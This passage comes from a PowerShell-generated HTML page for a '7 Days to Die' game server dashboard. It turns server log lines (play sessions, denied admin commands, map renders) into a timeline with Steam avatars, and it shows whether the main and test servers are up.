src=data:image/png;base64,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>" } Else { "<img class='img-xs img-circle' src=$AvatarIcon>" } "$PlayerName could only handle $LastedTime before he bounced, so weak bra!" } ElseIf($LastedTime -lt 180) { "<p class='text-main text-semibold'>At Least You Did Something Before You Got Off!</p>" #Lookup To See If Player Is Too New To Get A Profile From Or Is A Child Profile If($AvatarIcon -eq $null) { "<img class='img-xs img-circle' src=data:image/png;base64,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>" } Else { "<img class='img-xs img-circle' src=$AvatarIcon>" } "$PlayerName could only handle $LastedTime before he bounced, so weak bra!" } Else { "<p class='text-main text-semibold'>You Deserve A Vacation!</p>" #Lookup To See If Player Is Too New To Get A Profile From Or Is A Child Profile If($AvatarIcon -eq $null) { "<img class='img-xs img-circle' src=data:image/png;base64,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>" } Else { "<img class='img-xs img-circle' src=$AvatarIcon>" } "$PlayerName crushed it for $LastedTime before he decided to take a well deserved break." } ) "</div>" "</div>" } #Player Ban - NEEDS UPDATE "BANBANBAN" { #Parse The Date #$TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) #Parse The Command And Write The HTML #"<div class='timeline-entry'>" # "<div class='timeline-stat'>" # "<div class='timeline-icon bg-warning'><i class='fa fa-ban fa-2x'></i></div>" # "<div class='timeline-time'>" # IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} # ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} # ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} # ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} # "</div>" # "</div>" # "<div class='timeline-label'>" # "<p class='text-main text-semibold'>Ban Hammer Swung</p>" # "<span>$PlayerName just got ban hammered.....sucks to be you $PlayerName.</span>" # "</div>" #"</div>" } #Deny Admin Command "*Denying command*" { #Get The Variables $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) $PlayerName = $(($_ -Split 'client')[1].TrimStart()) $DeniedCommand = $($_.Split("'")[1]) #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-warning'><i class='demo-psi-speech-bubble-3 icon-lg'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} "</div>" "</div>" "<div class='timeline-label'>" "$PlayerName Tried To Cheat The System By Executing: $DeniedCommand, But Was Caught And Publicly Shamed Instead." "</div>" "</div>" } #Render Map "*Executing command 'rendermap'*" { #Get Variables $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) $SteamID = $($_.Split(" ")[8]) $SteamURL = "http://steamcommunity.com/profiles/" + $SteamID + "?xml=1" $SteamProfile = $(([xml](Invoke-WebRequest -URI $SteamURL).Content).Profile) $PlayerName = $($SteamProfile.steamid.'#cdata-section') $AvatarIcon = $($SteamProfile.avatarIcon.'#cdata-section') #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-info'><i class='fa fa-map-o fa-1x'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} "</div>" "</div>" "<div class='timeline-label'>" "<p class='text-main text-semibold'>Server Event - Render Map to Website</p>" "<img class='img-xs img-circle' src=$AvatarIcon>" "<span>$PlayerName just decided to slowed down the entire server so he could update the map on the website. *golf clap*</span>" "</div>" "</div>" } #Ignore default {} } } ) </div> <!--===================================================--> <!-- End Timeline --> </div> </div> </div> <!--===================================================--> <!--End page content--> </div> <!--===================================================--> <!--END CONTENT CONTAINER--> <!--MAIN NAVIGATION--> <!--===================================================--> <nav id="mainnav-container"> <div id="mainnav"> <!--Menu--> <!--================================--> <div id="mainnav-menu-wrap"> <div class="nano"> <div class="nano-content"> <!--Widget--> <!--================================--> <div class="mainnav-widget"> <!-- Show the button on collapsed navigation --> <div class="show-small"> <a href="#" data-toggle="menu-widget" data-target="#demo-wg-server"> <i class="demo-pli-monitor-2"></i> </a> </div> <!-- Hide the content on collapsed navigation --> <div id="demo-wg-server" class="hide-small mainnav-widget-content"> <ul class="list-group"> <li> $( #Determine If Main Server Is Up Or Down If((Get-NetTCPConnection | Where {$_.OwningProcess -eq $((Get-Process | Where {$_.ProcessName -like '7DaysToDieServer'}).ID)} | Where {$_.LocalPort -eq '26900'} | Measure-Object).Count -gt 0) { '<span class="label label-success pull-right">UP</span>' } Else { '<span class="label label-danger pull-right">DOWN</span>' } ) <p>Main Server</p> </li> <li> $( #Determine If Main Server Is Up Or Down If((Get-NetTCPConnection | Where {$_.OwningProcess -eq $((Get-Process | Where {$_.ProcessName -like '7DaysToDieServer'}).ID)} | Where {$_.LocalPort -eq '26901'} | Measure-Object).Count -gt 0) { '<span class="label label-success pull-right">UP</span>' } Else { '<span class="label label-danger pull-right">DOWN</span>' } ) <p>Test Server</p> </li> </ul> </div> </div> <!--================================--> <!--End widget--> <ul id="mainnav-menu" class="list-group"> <!--Category name--> <li class="list-header">Navigation</li> <!--Menu list item--> <li> <a href="index.ps1"> <i class="demo-psi-home"></i> <span class="menu-title"> <strong>Dashboard</strong> </span> </a> </li> <!--Menu list item--> <li> <a href="maps.ps1"> <i class="fa fa-map-o" aria-hidden="true"></i> <span class="menu-title"> <strong>Server Map</strong> </span> </a> </li> <!--Menu list item--> <li class="active-link"> <a href="serverlog.ps1"> <i class="fa fa-file-text-o" aria-hidden="true"></i> <span class="menu-title"> <strong>Server Log Feed</strong> </span> </a> </li> <!--Menu list item--> <li> <a href="controlpanel.ps1"> <i class="fa fa-terminal" aria-hidden="true"></i> <span class="menu-title"> <strong>Control Panel</strong> </span> </a> </li> </ul> </div> </div> </div> <!--================================--> <!--End menu--> </div> </nav> <!--===================================================--> <!--END MAIN NAVIGATION--> </div> <!-- FOOTER --> <!--===================================================--> <footer id="footer"> <!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --> <!-- Remove the class "show-fixed" and "hide-fixed" to make the content always appears. --> <!-- 